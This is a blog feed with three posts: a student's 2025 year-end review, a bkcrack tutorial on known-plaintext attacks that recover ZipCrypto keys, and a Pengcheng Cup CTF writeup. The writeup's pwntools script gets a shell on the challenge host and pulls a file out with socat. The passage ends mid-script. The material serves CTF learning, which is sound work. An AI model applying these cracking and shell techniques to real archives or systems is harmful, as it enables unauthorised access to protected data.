2025 年终总结

前言 因为之前刷工作室大佬 unk 的博客,发现有那么一个年终总结,考虑到 24 年才刚加入工作室,也没啥好总结的。但 25 年不一样,参加了一些比赛,有了一定的成绩。 现在是 2025 年 12 月 31 日凌晨 1 点左右(跑 hexo new 的时候是 1:10),是一个在前一天九点钟跟一群兄弟出去吃海底捞后回来因为没有热水所以用热水壶煮了热水洗完澡的状态,可以来做一个总结了。 学习 学习方面,也是成功过了一个学年了(2024-2025 学年),由于之前存在保研的想法,所以绩点说实话,还不错 最后在综评里面平均学分绩点为 3.7252,不算高,高不过那些真正在学习上很有成绩的大佬;不算低,比大多数人要高就是了。 我本身就是个数学苦手,两次高考数学一次 87 一次 86,是那种死学都只能学个半斤八两的 不过最终看下来,只能说数学拖了一点后腿,但不多,能接受吧 计算机基础课这一块还是可以的,虽然离散数学、数值分析啥的是我没学过的东西,但是最终看下来成绩不错 啥?你问我离散数学为啥只有 84?离散数学,那也是数学呀 再加上各种各样的奖项(2024-2025 学年的),也是成功险胜第二名,爬到了兄弟班综评的第一,本专业综评第二,成功申请了学校的一等奖学金。(+2000 CNY) 此外,还成功申请了一个企业奖学金,并且它压着 2025 年的年尾发放,我本来都以为我得 27 年才能把这奖学金的税给退回来(奖学金算意外所得,扣 20%,但我辅导员说可以退税),年尾发放就意味着我可以在 26 年就退税啦,可喜可贺可喜可贺 奖项与证书 此处不包含 CTF 相关奖项,这个会在下面一起讲 在 24 年入学以来,其实我大大小小也参与了很多比赛了,下面就快速过一下 CET6 首先不得不说的就是怎么都绕不开的 CET,这个东西其实我在复读之前已经考了 CET4 了,所以我可以上来就干 CET6,我只能说,很舒服 其实我并没有怎么备考,只是在当天早上 CET4 在考试的时候,我在 B 站看了一下 CET6 的做题小技巧(其实是 Trick),重点看了一下听力而已 结果还挺让我意外的,居然有 500+ 诶 GDUTCTF 这个没放在下面的 CTF 那一节,是因为它是校赛,基本上就是打着玩的 因为这个比赛其实都不知道其他人实力怎么样,虽然我确实是有经验,但是同时还有工作室的老师傅在打,说实话,拿个一等奖纯凭运气了(大部分老登没打,我还抢了一个三血) 新生程序设计大赛 嘶,其实严格来算我真不能被算作新生,经验太足了 拿着我那个垃圾课设口算速算上去打的,当时说每个人是 4 分钟还是 5 分钟来着,我就记得我的时长比较长,甚至超了,也怪我没有提前记过时 不过看到大家都超时了,我也就无所谓了 词达人(校赛) 只是凭借自己贫瘠的词库随便打了打而已了,要说记得多少还真不好说 =-= 反正结果是好的,不管他呗 软件著作权 这个软著其实是我的程序设计老师推荐我去申请一个的,我本来没那个想法,只是老师说可以去弄一个,综测也能加分,我就去了 还是拿着我的垃圾课设去的,中间被连续打回三次,因为各种各样的文档不规范问题,麻烦还挺多的 从 6 月份开始弄,弄到 10 月才正式下来,周期时间还挺长的,建议要申请的小伙伴预留充足时间呢 HSD2025 Codelab 一等奖 其实就是华为来我们学校开讲座,中间有一个 Codelab 编程环节,用的还是 homo 的 ArkTS 语言,只能说是现场学的,翻文档翻的我都要麻了,它的文档结构一坨,我至今没有找到 blank 组件对应的文档页面 完整题解可以在这里找到:https://github.com/GDUTMeow/HSD2025-GDUT CTF NewStarCTF 2024 首先出场的是,NewStarCTF 2024 的个人奖项,在 NewStarCTF 中,我主要是打了 Week1 和 Week2,因为后面电脑坏了(笔记本散热风扇烧了),导致我不得不去修一下我的电脑,所以只能遗憾缺席后面的题目了 NewStar 算是练手了,毕竟我已经很久没打过 CTF 了,有种复健的感觉吧 不过在 NewStar 中,最让我难忘的是,当时群里老登 fallw1nd 说每周第一个 AK 比赛中 re 方向题目的奖励 500CNY,然后第一周的我还真就做到了,+500 CNY 网鼎杯 网鼎杯算是 Volcania 第一次参赛了,我们四个说实话基本上没有什么经验,可能就我打过相关赛事(我在之前还真参加过网鼎杯,只是爆零了而已) 上去说是走一步算一步,奈何实在是技术不精,没打进半决赛,遗憾离场,只能做网鼎未来之星了 但是都说到网鼎了,我就不得不摆出这张梗图了(懂得都懂) 鹏城杯线下渗透演练 嗯没错,这是我第一次参加攻防演练,其实本来是老登们去的,但是因为他们进了网鼎杯决赛,时间冲突了,于是就我们 Volcania 去了 去了深圳,第一次出差,住在亚朵,住在 mysql 房(3306 这一块) 然后就成功在赛场上玩上了 osu! 说实话,线下渗透挺好玩的,看到了好多不同的系统,然后尝试去找出里面的问题,当然了我们经验太少了,成绩肯定也没干过一群职业选手嘛 软件系统安全赛 初赛 CCSSSC 是对的,下次还来 这比赛在考试前两周进行的,只能说属于是不复习跑去打比赛了,但是结果不错 我们成功打到了 #10 的位置,第一次知道了 dict 协议打内网 redis 更新页面的操作,进了复赛 软件系统安全赛 复赛 复赛在湖南长沙举行的,在湖南农业大学打,好耶,去长沙旅游咯! 说实话,长沙挺繁华的,特别是五一广场那一块(没去坡子街派出所) 比赛结果不错,其实算是蠕动了,但是我们成功进入了决赛 没拍啥照片,凑合看看吧 软件系统安全赛 决赛 决赛……还是在长沙,嗯 还想着能够去别的地方旅游的,不过二入长沙也不错啦 比赛虽然有点炸,但是三等奖稳稳的 第二次去长沙,去了橘子洲头玩,看到了毛主席的大雕像 LilCTF 2025 其实是 2025 年的 BaseCTF,只不过摇身一变变成 LilCTF 了,面向的是团队而不是个人 说实话,在这场里面我的产出真不高,还得靠我的挖洞队友和我的逆向队友,最终拿下了第四的位置 羊城杯 2025 其实我打了 24 年的羊城杯,不过我是单干的,而且我制作出来了 DS 分类下的题目 你可以去这个链接看当时的解题情况 https://bili33.top/posts/CTF-Yangcheng2024-Writeup/ 我做的是 Misc 的题目,不过题解我没发,懒得发了 印象中比较好玩的是 2hi5hu 师傅的「别笑,你试也过不了第二关」和「你也是旮旯给木大师?」这两个题目 这里可以看:https://2hi5hu.cn/archives/2025ycb 决赛方面,我负责的是数据安全和应急响应这一块,不过在那之前因为我在出题,刚好用上了 msfconsole,所以比赛过程中刚好拿来打了 决赛的做题思路在这里:https://bili33.top/posts/CTF-YCB2025-Finals/ 挺让我意外的,很多东西用 msfconsole 都能跑通,而且真的很好玩啊 \(≧▽≦)/ 湾区杯 2025 湾区杯其实我们是蠕动进去的,我们本来不在决赛名单内,是前面的队伍弃赛了,我们才得以进去的 恰逢国家网络安全宣传周,比赛就显得尤为正规了,而且是各路大佬云集的地方,之前很多在群里才能见到的大佬这次都来到了现场 比较让我印象深刻的是 @Lil-Ran 和 @ProbiusOfficial(探姬) 两位大佬,我参加了 Lil-Ran 师傅举办的 LilCTF,同时在群里也经常见到他,他也在我们工作室的群里 探姬这一块,我一直在用他的 ctfOS,特别是我刚回来打 CTF 的那段时间,这东西真的帮了我很多忙,这次见到两位大佬也是非常荣幸 探姬是软软的捏 具体就不在这里展开细讲了,总结为:我遇到最好的赛事组委会,见到最多的大佬的一次 详情可以前往 https://bili33.top/posts/CTF-GBACC2025-Finals/ 查看 CISCN & 长城杯 2025 今年的 CISCN 我们成绩其实还可以,我们出了 3 个 web、3 个 re,AK 了流量分析 流量分析这一块属于是前四题非常简单了,就是 wireshark 打开加上筛选就能解决的事情,不过遇到了一个很好玩的混淆(?) payload 的玩法 流量分析攻击者使用 SSTI 进行了代码执行的,payload 是这样的 当时手解了三层,发现每次其实套路都差不多,我这里沿用我 wp 里面的原话 拿出来处理,用 cyberchef 手操了一下,搞了三层发现流程是一样的,大概是这样 先进行一次性的 Base64 解密,然后后面的流程都是 删除函数 -> 反转 -> 解 b64 编码 -> zlib 解压 不知道为啥,有时处理会丢掉 padding 用的 =,所以下面的脚本我还补了一下 他用这种逻辑进行了 32 层的处理,所以手操肯定很累,还好我当时没有手操 你说下次能不能拿这个来玩呢(指出题) 我们的排位到最后达到了赛区前 100,期待半决赛见啦 鹏城杯 2025 就是上面那个渗透演练的初赛啦,但我们成绩不好,今年出的是垃圾题目,详情请看下面这个链接,我不多说 https://bili33.top/posts/CTF-PCB2025-Preliminary-Round-Writeup/ 工作 在工作方面的话,主要分为班级工作、商单、学术合作这三方面吧 班级工作 本来在分班前我是我们班上的生活委员(指管医保报销的),分班后我就变成班长了,不过以前做过班长,也到没啥,反正贯彻自己的理念呗,放养式管理,反正大家都是大学生了 这部分我就不展开讲了 商单 也得感谢商家给我机会,信任我的技术吧,其实我每一单都拖了挺久的,主要还是我的空闲时间真的不多 今年做了两套系统,一个是 Steam 租号管理系统,一个是 Steam 账号库存提取系统 简单来说是这样的,第一个租号管理系统,是商家导入账号,确定账号上拥有的游戏后,生成提取码,分发给用户,用户到网站提取指定账号并获得对应小时的使用权的一个系统,到时间了会自动踢出账号,解决了现在 Steam 账号租户的账号在到期后没有任何操作的问题 第二个 Steam 账号库存提取系统,主要是这家之前的那个系统是找大商合作的,但是大商不做了,没人维护,然后就找我重新开发一套新的,效果其实不错,我这里放一个截图好了,但是其他的因为涉及商业秘密,我就不多说了吧 学术合作 这一块得多亏了 @Yuchangqing 跑来拉我入伙,在这个学术合作中,我主要做的是封装测试环节 我们做的是一个装置,用于医学研究的,我采用了以前没用过的一个方式,就是 FastAPI + PyWebview,因为 Electron 太笨重了,而且我对 nodejs 确实不熟(vue 啥的也没学,提上日程好了),然后就还是经典前端三件套构建的 UI 这个学术合作主要还是开拓了我的视野吧,能够有更多的机会去接触不同领域的东西,结识不同领域的人 因为涉及一些机密,所以这里我就不多说了 代码 这一年主要做了几个项目吧(抛开上面提到的东西),一个是 QQbot,因为当时我们在举办 CTF 比赛,用的 A1CTF 平台,然后 ?CTF 那会是有播报 bot 的,于是我就手搓了一个,只能说能够满足我们自己的需求 GamerNoTitle/A1CTF-Journalist: 获取 A1CTF 平台的通知并推送到 QQ 群的自动化 Bot(主要是为了推送前三血信息) 然后是一个 DSFileChecker,灵感来源于两次羊城杯由 DAS 平台提供的 DAS File Checker,然后就做了一个类似的东西,可以让参赛选手知道自己正确率如何 GamerNoTitle/DSFileChecker: 一个用于夺旗赛的数据安全类题目的数据检查及 flag 分发应用 往下是一个 Python 的轮子,主要是上面提到的合作方他有一个从 csfloat 网站使用 CS 饰品的监视链接提取数据的一个需求,然后就给他做了一个这样的一个轮子 GamerNoTitle/csfloat-inspector: An inspector of CSFloat 接着是 B 站直播妙妙小工具,因为 B 站新规是未满 5k 粉丝必须使用直播姬开播,但是直播姬我说实话,真的依托答辩,然后就用了 B 站的 API 来完成了一个小工具,能让用户脱离直播姬,直接开播并拿到推流地址和推流码,就类似于以前的网页端那样 GamerNoTitle/BiliLive-Utility: 新一代 B 站小主播直播助手!开启 B 站直播并获得推流链接与推流密钥(推流码),一键修改标题、标签和直播分区,是给不满足 B 站新规定 5k 粉丝要求的用户使用的实用工具 (ˊ•͈ꇴ•͈ˋ) 再往下是我的一个小玩具,因为想看看自己买了多少东西,并且这些东西的价值如何,然后做了一个记物网站应用,数据库我用了 Notion,然后后端是 FastAPI,这样就可以托管在大多数 Serverless 平台上了 GamerNoTitle/WorthIt: 我的东西买得有多值呢?基于 Notion 数据库的记物网站应用 下面是两个更新,一个是音灵的补丁,总所周知,水幻早就炸了,音灵现在是靠社区才能够正常游玩,但是我发现有玩家有解锁私服提供的物品的一个需求,然后就进行了一个更新,让这个工具能够适配更多的物品 GamerNoTitle/INVAXION-Unlocker: 🛠音灵全解锁补丁/INVAXION full unlock patcher 第二个是油猴脚本仓库,就因为随着油猴脚本越做越多,我就干脆弄了个仓库放着,凑合看看吧 GamerNoTitle/TemperMonkeyScript: 自用的油猴脚本 设备 今年我又多了一些设备,下面听我一一道来 首先是一加 ACE5 这台手机,是我在我 25 年年生日当天买的,主要还是 K40 目前有点拉了,再加上粗粮现在不让解 BL(应该说解锁很麻烦),所以我就买了 1+ 当然了,肯定是到手就解锁了的 接下来是一台华为 Mate40 Pro,是我同期退伍的哥们给的,当时去他家里玩了(旅游),然后他省的这个华为没用了,他看我本身就是搞技术的,就给我拿去折腾了 当然了,我肯定是不会去升级纯血 homo 的 随后是 Steam Deck,这个是从别人那里借过来玩的(要还的),因为放着吃灰,我就拿来在床上玩旮旯给木了 因为本身我自己还在玩米家游戏,所以我就给它装了双系统(SteamOS + Windows 11) 还有买了个新的平板 Vivo Pad 5,因为 Surface 的续航一坨了,不太能满足我上课做笔记的需求,而且发热很严重,我就买了个安卓版,主要还是看中续航吧 现在已经替换 Surface 的位置了,被我拿来上课做笔记了,Surface 现在在 @xihale 的手上推旮旯给木 最后一个是最近买的威联通 NAS,起因是因为我发现我用了好多年的 onedrive 被微软扬了 具体情况:https://t.me/PaffChannel/3136 所以就买了 NAS 了,刚好建造一下自己的存储池(就是好贵(┬_┬)) 既然谈到这里了,那我这里放一张图吧(自制的,拿走随意) 娱乐 突然忘了还有这一部分,今年的游戏娱乐活动也挺多的,这里挑几个点说一下吧 首先是第一次在三角洲完成了赛季任务,拿到了 33 安全箱 然后今年我重新开始玩了 osu!,并且现在成绩已经很不错啦,打大多数 3* 图没啥问题,但是 4* 图还有待提高 然后在群友的影响下,我又玩回了 Warframe,并且达到了 21 段 这游戏真的要大家一起玩才好玩 后记 当我写完上面的内容,已经是 3:00 了,我是没想到原来我有那么多的东西需要回顾 也感谢你耐心看到这里,我写的有点水,也不知道合不合你的胃口,总之祝你天天开心吧 (¬◡¬)✧

2025/12/31
articleCard.readMore

使用 bkcrack 对 ZipCrypto 加密的 ZIP 文件进行明文爆破

在经历了鹏城杯 2025 的各种 bkcrack 明文攻击后,我觉得我需要写一篇文章来汇总一下 bkcrack 这东西 bkcrack: https://github.com/kimci86/bkcrack/releases 如果你想更多地了解原理,可以阅读这篇论文,本文不讲原理 https://doi.org/10.1007/3-540-60590-8_12 先决条件 加密方式 ZIP 的加密算法常见的就两种,一个是 ZipCrypto,一个是 AES-256;根据压缩方式,有 Deflate 和 Store(不压缩)。为了能够使用 bkcrack 进行明文攻击,我们手上的加密压缩包必须是 ZipCrypto 加密,即 ZipCrypto Store ZipCrypto Deflate(至少拥有一个完整明文,即完整文件) 这两个是可以进行明文攻击的 已知明文 从我们的攻击方式「明文攻击」就知道,我们必须知道一部分明文才能够对文件进行攻击。 根据论文,我们需要知道密文中已知至少 12 字节的明文,才能够对压缩包进行攻击操作 已知偏移 注:ZipCrypto Store 情况下 当我们已知明文(非完整文件)的情况下,我们需要知道这部分数据的偏移量,才能够进行攻击操作(下面例子有,如果你不知道我在说啥,可以往下看) 创建符合条件的压缩包 ZipCrypto 仍然是现在压缩包加密的主流方式,所以如果你正在用主流的压缩软件,那么你大概率能够找到 ZipCrypto 的加密选项 以 7zip 为例,对文件选择「添加到压缩包」的时候,就可以看到加密算法里面有且默认选择 ZipCrypto(如下图) ZipCrypto Store 下不同方向的明文攻击 对于我们已经满足上述条件的情况下,我们可以使用 bkcrack 来进行明文攻击 持有任一文件的明文攻击 以 CCSSSC 2025 区域赛的 ezsight 题目 为例,题目附件解压得到 flag.py 用来验证答案并给 flag 的 workspace.zip 被加密的压缩包 公告.txt 已知明文 打开压缩包,看到算法为 ZipCrypto Store 通过 bkcrack -L workspace.zip 可以看到里面的具体文件的算法即压缩方式 因为题目给了 公告.txt 作为已知明文,所以直接打 1 2 3 4 5 6 7 8 9 10 11 $ bkcrack -C workspace.zip -c 公告.txt -p 公告.txt bkcrack 1.8.1 - 2025-10-25 [21:28:33] Z reduction using 687 bytes of known plaintext 100.0 % (687 / 687) [21:28:33] Attack on 14755 Z values at index 18 Keys: ffe9e9e9 d65f814a f3c468c9 85.1 % (12551 / 14755) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 12551 [21:28:44] Keys ffe9e9e9 d65f814a f3c468c9 然后就出来了 keys,直接拿着 keys 去改密码 1 $ bkcrack -C workspace.zip -k ffe9e9e9 d65f814a f3c468c9 -U decrypted.zip "Volcania" 然后就直接拿着密码 Volcania 去解压 decrypted.zip 就可以了 已知 zip 的明文攻击 注:此情况指的是在需要攻击的 ZIP 文件里面,存在一个 zip 未加密的 zip 包,且已知里面未加密的 zip 包内的任意一个文件名,如下图 使用 ZIP 文件头 + 已知文件名攻击 这里没有找到合适的题目,就拿上面那个 encrypted.zip 来说吧,这个里面的 debug.zip 里面压了一个 debug.log 文件 而 zip 的文件头是 50 4B 03 04,这里有 4 个字节 文件名 debug.log 为 64 65 62 75 67 2e 6c 6f 67,这里有 9 个字节,加起来超过 12 字节了 所以直接去明文攻击即可 1 2 3 4 5 6 7 8 9 10 11 $ bkcrack -C .\encrypted.zip -c debug.zip -x 0 504b0304 -x 30 64656275672e6c6f67 bkcrack 1.8.1 - 2025-10-25 [21:40:32] Z reduction using 1 bytes of known plaintext 100.0 % (1 / 1) [21:40:32] Attack on 2621440 Z values at index 37 Keys: 138253fb f12a0c93 90b1234f 11.1 % (291960 / 2621440) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 291960 [21:43:53] Keys 138253fb f12a0c93 90b1234f 使用 ZIP 文件头 + 文件尾攻击 还有一种方法是使用 ZIP 文件头 + ZIP 文件尾进行攻击,这个是从 lunatic 佬那里偷师学来的 因为压缩包的最后一定会有 504b050600000000(如图) 所以可以直接认为这部分是已知明文,结合文件头直接对其进行攻击,这部分的位置在 压缩前文件大小-22 这里 debug.zip 的原大小是 269,减去 22 就是 247,所以得到以下明文攻击方法 1 2 3 4 5 6 7 8 9 $ bkcrack -C .\encrypted.zip -c debug.zip -x 0 504b0304 -x 247 504b050600000000 bkcrack 1.8.1 - 2025-10-25 [21:47:17] Attack on 4194304 Z values at index 254 Keys: 138253fb f12a0c93 90b1234f 19.6 % (823978 / 4194304) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 823978 [21:57:01] Keys 138253fb f12a0c93 90b1234f 在不知道里面的文件名的情况下很好用 使用 EXE 的 DOS 提示信息攻击 因为 EXE 里面大多都存在这一段(注意是大多数,要说什么东西没有的话,你把你的 Steam 拖进 010 看,它就是没有的那个) 1 2 3 4 00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th 00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno 00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS 00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$....... 所以可以用来攻击 以 鹏城杯 2025 初赛的 SMB 题目 为例,我们发现 zip 包里存在一个 letter.exe 拿着这一段提示信息来攻击,偏移量在 64 1 2 3 4 5 6 7 8 9 10 11 $ bkcrack -C .\%5cletter.zip -c letter.exe -x 64 0E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000 bkcrack 1.8.1 - 2025-10-25 [22:16:50] Z reduction using 56 bytes of known plaintext 100.0 % (56 / 56) [22:16:50] Attack on 141108 Z values at index 71 Keys: 68cc45ab 864060ce ac958caa 75.6 % (106623 / 141108) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 106623 [22:18:10] Keys 68cc45ab 864060ce ac958caa 使用 png 头进行攻击 因为 png 的头是固定的 1 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 很明显这长度就是足够我们的要求的,所以直接拿来爆 以 鹏城杯 2025 初赛的 blue 题目 为例,高位提取得到的压缩包里面存在一个 xor.png,所以我们对其用 png 的头攻击 1 2 3 4 5 6 7 8 9 10 11 $ bkcrack -C extracted_nibbles_skip1_off0.zip -c xor.png -x 0 89504E470D0A1A0A0000000D49484452 bkcrack 1.8.1 - 2025-10-25 [22:22:32] Z reduction using 9 bytes of known plaintext 100.0 % (9 / 9) [22:22:32] Attack on 707085 Z values at index 6 Keys: 68cc45ab 864060ce ac958caa 29.1 % (206106 / 707085) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 206106 [22:24:47] Keys 68cc45ab 864060ce ac958caa 使用 pyc 的结构进行明文攻击 这个玩法是在某次非公开赛的时候做到的,题目提供了一个压缩包,里面是一个 attack_it.pyc 文件和一个 flag.py 文件,其中 flag.py 文件使用 py_compile 得到了 attack_it.pyc 通过查阅文档,我们可以看到 pyc 的头部部分结构如下 src: https://ctf-wiki.org/misc/other/pyc/ 使用 010 打开这个 zip,可以在尾部发现出题人留下的信息,Python 版本为 3.12.12,BitField 为 00000000 运行同样的大版本的 Python(指 3.12.x),通过下方代码可以获得 Magic Number 1 2 3 4 from importlib.util import MAGIC_NUMBER print(MAGIC_NUMBER) # b'\xcb\r\r\n' 同时可以看看 flag.py 的大小 1 2 3 4 5 6 7 $ bkcrack -L .\flag.zip bkcrack 1.8.1 - 2025-10-25 Archive: .\flag.zip Index Encryption Compression CRC32 Uncompressed Packed size Name ----- ---------- ----------- -------- ------------ ------------ ---------------- 0 ZipCrypto Store 373b10b2 3302 3314 attack_it.pyc 1 ZipCrypto Store ac459bd9 1411 1423 flag.py 所以可以得到 -x 0 cb0d0d0a00000000 -x 12 83050000,拿来明文攻击 注意这里的文件大小部分是小端序,所以把 1411 转为 0x583 后还要反过来 1 2 3 4 5 6 7 8 9 10 11 $ bkcrack -C flag.zip -c attack_it.pyc -x 0 cb0d0d0a00000000 -x 12 83050000 bkcrack 1.8.1 - 2025-10-25 [22:43:00] Z reduction using 1 bytes of known plaintext 100.0 % (1 / 1) [22:43:00] Attack on 2490368 Z values at index 6 Keys: d7fe0787 b3af2704 99fa95dc 71.6 % (1782604 / 2490368) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 1782604 [23:06:54] Keys d7fe0787 b3af2704 99fa95dc ZipCrypto Deflate 下的明文攻击 这里给出一个例题,这个是某群群友发出来的 题目提供了明文 png 文件和一个被加密的 zip 包,打开加密的 Zip 包发现明文图片用 Deflate 压缩 1 2 3 4 5 6 7 $ bkcrack -L .\Flying.zip bkcrack 1.8.1 - 2025-10-25 Archive: .\Flying.zip Index Encryption Compression CRC32 Uncompressed Packed size Name ----- ---------- ----------- -------- ------------ ------------ ---------------- 0 ZipCrypto Store ba41996d 44 56 f-l-a-g.txt 1 ZipCrypto Deflate 5d9fd6ba 167770 167769 椋炲ザ榫?png 对于 Deflate 压缩过后的文件,我们得用同样的方式来构造“明文”,直接用压缩软件压一个就好了 只要选择不是 0 的,就不是 Store 了,记得压缩方式不要选到别的了 压完了以后就可以去测测是不是对的了,如果不是对的会出现类似于这样的提示 1 2 3 $ bkcrack -C .\Flying.zip -c 飞奶龙.png -p 飞奶龙.png -o 0 bkcrack 1.8.1 - 2025-10-25 Data error: ciphertext is smaller than plaintext. 这里说密文比明文小,暗示我们要选压缩等级更高的压缩方式,我这里测到这题是最大压缩(9级) 1 2 3 4 5 6 7 8 9 10 $ bkcrack -C .\Flying.zip -c 飞奶龙.png -P 飞奶龙.zip -p 飞奶龙.png bkcrack 1.8.1 - 2025-10-25 [23:32:44] Z reduction using 167750 bytes of known plaintext 31.3 % (52423 / 167750) [23:32:47] Attack on 97 Z values at index 115720 Keys: 78a02143 81566f2b 1315c203 100.0 % (97 / 97) Found a solution. Stopping. [23:32:47] Keys 78a02143 81566f2b 1315c203 反正如果遇到 Deflate,就自己手动压缩一下去试试是什么等级压缩,然后构造明文就好了 常见的可用于爆破的明文内容 pcapng: -x 0 0a0d0d0ab00000004d3c2b1a01000000ffffffffffffffff pcap: -x 0 d4c3b2a10200040000000000000000000000040001000000 xml: -x 0 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e vmdk: -x 0 4b444d56010000000300000000007f0000000000 svg: -x 0 3c3f786d6c2076657273696f6e3d22312e302220 eml: -x 0 44656c69766572792d646174653a

2025/12/19
articleCard.readMore

2025 第五届“鹏城杯”联邦网络靶场协同攻防演练(初赛)个人 Writeup

我先燃尽了,四次 bkcrack,出题人是真喜欢这东西啊 还有一堆散点杂色像素图,看的眼睛都要瞎啦 您每题的图片都要藏那么点东西是吗 本次的 PCB 我负责的是 Misc 部分(毕竟我们队里三个搞 Web 的,不如放给那两个经验丰富的 Web 手来搞,我还是回归我擅长的 Misc 领域吧,Web 转 Misc 这块),所以下面我会讲一讲 Misc 部分我的思路,解出来了的题目会标记 Solved 的 下面放一下战况 time | Solved 题目上来就给了个 ELF 文件 nc 给出的服务器,会给出 base64 编码后的 zip 文件数据流,并询问现在几点 解压出来发现图片,就是个时钟 因为 OpenCV 的识别率不高,且考虑到只有 12 种情况,所以用建哈希表的玩法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import base64 import sys from pwn import remote, context from zipfile import ZipFile from hashlib import md5 # 计算 0 - 11 点的图片的 md5 hashmap = {} for _ in range(12): with open(f"preset/{_}.png", "rb") as f: data = f.read() h = md5(data).hexdigest() hashmap[h] = _ context.log_level = "debug" io = remote("192.168.18.31", 24001) TIPSIG = b'):\n' intro = io.recvline() data = io.recvline() carriage = io.recvline() tip = io.recvline() print(tip) result = TIPSIG while TIPSIG in result: zipstream = base64.b64decode(data) with open("tmp.zip", "wb") as f: f.write(zipstream) with ZipFile("tmp.zip", "r") as zip_ref: zip_ref.extractall(".") with open("0.png", "rb") as f: imgdata = f.read() h = md5(imgdata).hexdigest() if h in hashmap: hour = hashmap[h] minute = hour * 5 else: hour, minute = 0, 0 print(f"Send line: {hour}:{minute:02d}") # 发送结果 io.sendline(f"{hour}:{minute:02d}".encode()) result = io.recvuntil(TIPSIG) print(result.decode()) io.interactive() 然后发现第一次正确了,第二次直接炸,手动也是这样 应该没那么简单 =-= 看了一下,输入应该是 h,即只用告诉它是几点钟,所以我这里应该是卡输入格式问题了,重新修正了一下 全对会让执行一个命令,我直接反弹 shell(错误的,反弹不了,好像不出网) 没办法,看了一下 bin 里面有 socat,把文件下载下来好了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 import base64 import io import sys from pwn import remote, context from zipfile import ZipFile from hashlib import md5 context.log_level = "debug" hashmap = {} print("[*] Loading presets...") try: for _ in range(12): with open(f"preset/{_}.png", "rb") as f: data = f.read() h = md5(data).hexdigest() hashmap[h] = _ print(f"[+] Loaded {len(hashmap)} presets.") except Exception as e: print(f"[-] Error loading presets: {e}") sys.exit(1) try: p = remote("192.168.18.31", 24001) except: print("[-] Connection failed") sys.exit(1) PROMPT = b'): ' for i in range(12): print(f"\n========== Round {i+1} / 12 ==========") try: raw_data = p.recvuntil(PROMPT) except EOFError: print("[-] Server disconnected prematurely.") break lines = raw_data.strip().split(b'\n') b64_data = b"" for line in lines: if len(line) > 100: b64_data = line.strip() break if not b64_data: print("[-] Base64 data not found.") break target_idx = 0 try: zip_bytes = base64.b64decode(b64_data) with ZipFile(io.BytesIO(zip_bytes), "r") as z: img_data = z.read("0.png") img_hash = md5(img_data).hexdigest() if img_hash in hashmap: target_idx = hashmap[img_hash] print(f"[+] Match! Index: {target_idx} (Hash: {img_hash[:6]}...)") else: print(f"[-] No match for hash: {img_hash[:6]}...") except Exception as e: print(f"[-] Error processing image: {e}") break payload = str(target_idx) print(f"[>] Sending: {payload}") p.sendline(payload.encode()) try: output = p.clean(timeout=0.1) print(output.decode(errors='ignore')) except: pass print("\n[+] Rounds finished. Getting shell...") payload = b"/bin/sh" print(f"[>] Sending payload: {payload}") p.sendline(payload) print("\n[+] Exfiltrating using socat...") try: p.clean() except: pass cmd = b'socat -u FILE:"Bandizip(flag).zip" STDOUT' print(f"[>] Sending: {cmd}") p.sendline(cmd) print("[*] Downloading raw data...") try: p.recvline() data = p.recvall(timeout=5) with open("flag.zip", "wb") as f: f.write(data) print(f"[+] Download complete! Size: {len(data)} bytes") print("[*] Try to unzip flag.zip now.") except Exception as e: print(f"[-] Error: {e}") p.interactive() p.close() 不是哥们?又加密了 bkcrack 看一眼 1 2 3 4 5 $ bkcrack -L flag.zip bkcrack 1.8.1 - 2025-10-25 Archive: flag.zip Index Encryption Compression CRC32 Uncompressed Packed size Name ----- ---------- ----------- -------- ------------ ------------ ---------------- 嗯?空的?修复一下试试? 1 2 3 4 5 6 7 8 $ zip -FF flag.zip --out flag-fixed.zip ─╯ Fix archive (-FF) - salvage what can Found end record (EOCDR) - says expect single disk archive Scanning for entries... copying: data.txt zip warning: no end of stream entry found: data.txt zip warning: rewinding and scanning for later entries zip warning: zip file empty 真是空的哥们?问了 AI 说是 socat 的问题,让它给我改了一版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 import base64 import io import sys from pwn import remote, context from zipfile import ZipFile from hashlib import md5 context.log_level = "debug" hashmap = {} print("[*] Loading presets...") try: for _ in range(12): with open(f"preset/{_}.png", "rb") as f: data = f.read() h = md5(data).hexdigest() hashmap[h] = _ print(f"[+] Loaded {len(hashmap)} presets.") except Exception as e: print(f"[-] Error loading presets: {e}") sys.exit(1) try: p = remote("192.168.18.31", 24001) except: print("[-] Connection failed") sys.exit(1) PROMPT = b'): ' for i in range(12): print(f"\n========== Round {i+1} / 12 ==========") try: raw_data = p.recvuntil(PROMPT) except EOFError: print("[-] Server disconnected prematurely.") break lines = raw_data.strip().split(b'\n') b64_data = b"" for line in lines: if len(line) > 100: b64_data = line.strip() 